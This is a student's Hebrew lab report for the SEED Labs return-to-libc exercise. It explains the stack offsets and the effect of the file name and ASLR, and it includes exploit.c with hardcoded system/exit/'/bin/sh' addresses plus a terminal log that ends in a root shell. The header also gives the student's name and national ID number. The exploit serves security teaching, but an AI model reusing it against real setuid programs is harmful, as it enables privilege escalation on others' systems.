

SEED Labs – Return-to-libc Attack Lab-דו"ח מעבדה

שם: קוסטיה קזקוב

ת.ז.: 321827834

1. מכיוון שהמחשנית גדלה הפוך, מתחילים מכתובות גבוהות לקטנות, ומכיוון שאנו צריכים לחרוג מ12 על מנת לדרוס את מה שבמחשנית לפני(המערך שהוקצה לפני כן), אנו צריכים להכניס את הכתובת של system לתוך המקום במחשנית שנמצא המצביע לכתובת חזרה של הפונקציה bof(מחישוב לוגי, 12 המערך המוקצה, compiler padding 4, 4 EBP הישן, אם נסכום את כל זה נקבל 20, כלומר הכתובת חזרה נמצאת 24 בתים לפני סוף ההקצאה, לפני שהבנתי שיש compiler padding השתמשתי בניסוי וטעייה עם הכתובת 20 וקיבלתי שגיאה), את הארגומנט של הפקודה \bin\sh system למקום 32(חזרה+8) והיציאה(שלא חשובה כל כך אבל על מנת לשמור על חשאיות) למקום 28(חזרה+4) לפי הסדר במחשנית.
נ.ב. המיקום שקיבלתי מהקוד הביא לי כתובת קדימה ולא כללה את \ לכן הקטנתי בשתי כתובות אחורה את הכתובת של הפקודה(רואים בצילום מסך).
2. ההתקפה לא הצליחה מכיוון שכאשר משנים(לגודל שונה) את השם של הקובץ, הכתובות זזות בהתאם, אם אנו נגדיל את השם של הקובץ, הכתובות יזוזו למטה מכיוון שהשם של הקובץ נשמר במחשנית(במשתנה ARGV) וכך כל הפרמטרים בעצם זזים למטה(כל תו במקום אחר בזיכרון חדש).
3. הפריצה לא תעבוד, הבעיה היא שכאשר הגנת אקראיות מרחב הכתובות דלוקה, אין סדר על הכתובות ומיקומם נמצא במקום שונה באקראיות בלי שום סדר כרונולוגי. הגנה זו מקשה על הפריצה מכיוון שמכיוון שהכתובות נמצאות לא בסדר כרונולוגי(או סדר פשוט שניתן לחשב), גם עם נמלא את הזיכרון בקוד זדוני, לא בהכרח התכנית תחזור לאן שאנו רוצים(בדוגמא שלנו רצינו לגרום את הכתובת חזרה, אם לא נדע היכן בזיכרון הכתובת נמצאת, הקוד הזדוני בעצם לא בהכרח יגרום אותו).

SEEDubuntu12 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

```
exploit.c (~/Desktop) - gedit
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");
    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    *(long *) &buf[32] = 0xbffff8a; // "/bin/sh"
    *(long *) &buf[24] = 0xb7e5f430; // system()
    *(long *) &buf[28] = 0xb7e52fb0; // exit()
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}

Terminal
Inferior 1 [process 3222] will be killed.
Quit anyway? (y or n) y
[10/26/2018 04:59] seed@ubuntu:~/Desktop$ export MY_SHELL=/bin/sh
[10/26/2018 04:59] seed@ubuntu:~/Desktop$ gcc -o shell shell.c
shell.c: In function 'main':
shell.c:2:15: warning: initialization makes pointer from integer without a cast
[enabled by default]
shell.c:4:1: warning: incompatible implicit declaration of built-in function 'printf' [enabled by default]
[10/26/2018 05:00] seed@ubuntu:~/Desktop$ ./shell
bffff8a
[10/26/2018 05:00] seed@ubuntu:~/Desktop$ gcc -o exploit exploit.c
[10/26/2018 05:00] seed@ubuntu:~/Desktop$ ./exploit
[10/26/2018 05:00] seed@ubuntu:~/Desktop$ ./retlib
sh: 1: ln/sh: not found
[10/26/2018 05:00] seed@ubuntu:~/Desktop$ gcc -o exploit exploit.c
[10/26/2018 05:01] seed@ubuntu:~/Desktop$ ./exploit
[10/26/2018 05:01] seed@ubuntu:~/Desktop$ ./retlib
root
# exit
[10/26/2018 05:01] seed@ubuntu:~/Desktop$
```